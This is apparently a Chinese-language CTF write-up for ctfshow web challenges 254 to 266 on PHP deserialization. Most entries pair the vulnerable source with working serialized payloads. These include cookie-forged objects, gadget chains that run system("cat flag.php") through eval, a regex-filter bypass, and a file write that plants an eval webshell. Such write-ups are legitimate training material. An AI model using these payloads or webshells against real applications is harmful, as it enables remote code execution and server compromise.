web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
payload:
?username=xxxxxx&password=xxxxxx
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
想要得到flag,需要触发vipOneKeyGetFlag()
函数,需要让isVip
这个参数为true
,也就是在序列化时,要让isVip=true
序列化代码:
<?php
class ctfShowUser{
public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>
payload:
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
这题不仅仅需要get传username和password,还需要cookie传一个序列化后的user,可以用burp抓包,在里面将cookie值改为"user=xxxxxx"。(注意:这个值需要经过url编码)
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析代码,这题和上一题的区别就是get传入的username和password必须不相等。
序列化代码:
<?php
class ctfShowUser{
public $username='shyshy';
public $password='xxxxxx';
public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>
payload:
?username=shyshy&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22shyshy%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
这题eval函数在类backDoor中,可以用类ctfShowUser中的构造函数__construtc()来创建一个新的backDoor对象,在利用backDoor的变量$code来执行cat flag.php
序列化代码:
<?php
class ctfShowUser{
private $class = ' ';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat flag.php");';
}
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;
payload:
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这题想过滤“O:数字”的格式,只需要在数字前加一个+,就可以绕过
序列化代码:
<?php
class ctfShowUser
{
public $class ;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor
{
public $code='system("cat flag.php");';
}
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;
payload:
?username=xxxxxx&password=xxxxxx
user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
web259
大佬的博客看的我有点懵逼,日后一定补上。
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
上一题和这一题之间的跳跃有点大,这题就是序列化的前面要有字符串ctfshow_i_love_36D
,那直接get传这个字符串就行
payload:
?ctfshow=ctfshow_i_love_36D
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
首先,ctfshowvip
这个类中定义了__wakeup()
和__unserialize()
两个方法,那么只有__unserialize()会生效,__wakeup()方法会失效。
这题有两个地方,一个是__invoke()
方法中的eval()
函数,另一个是__destruct()
方法中的file_put_contents()
函数,这里eval()函数没什么利用点,所以用另一个。
在__unserialize()中,会将username和password拼接起来赋值给$code
,然后到__destruct()中与0x36d
比较,相等就能写文件,注意这里是==
,弱比较,所以877.php==0x36d
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php @eval($_POST[a]);?>');
echo urlencode(serialize($a));
payload:
vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D
web262
web263
看这篇博客PHP session反序列化漏洞
web264
和前面反序列化字符串逃逸类似,只不是这里把cookie改成了session,无法通过直接改cookie来实现,而要操作session,相当于把前面两题结合在一起了吧(套起来了)
GET:
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php,因为if(isset($_COOKIE['msg']))
,所以在cookie中添加一个msg=1
,即可得到flag
web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
这题主要是&的使用,可以本地试下面的代码
<?php
$a = 1;
$b = &$a;
$b = 3;
echo $a;
echo '<br>';
echo $b;
可以发现$a
的值随着$b
变化,那么这题也让password随着token变化就可以了
poc
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token='a';
$this->password = &$this->token;
}
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));
payload:
?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
web266
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
这题如果遇到正则,程序运行会抛出异常,也就无法触发__destruct()
魔术方法,而php中类和函数名都不区分大小写,只有变量名区分。
<?php
class ctfshow{
}
$a = new ctfshow();
echo serialize($a);
在post传参时,把ctfshow的c改为大写
即可。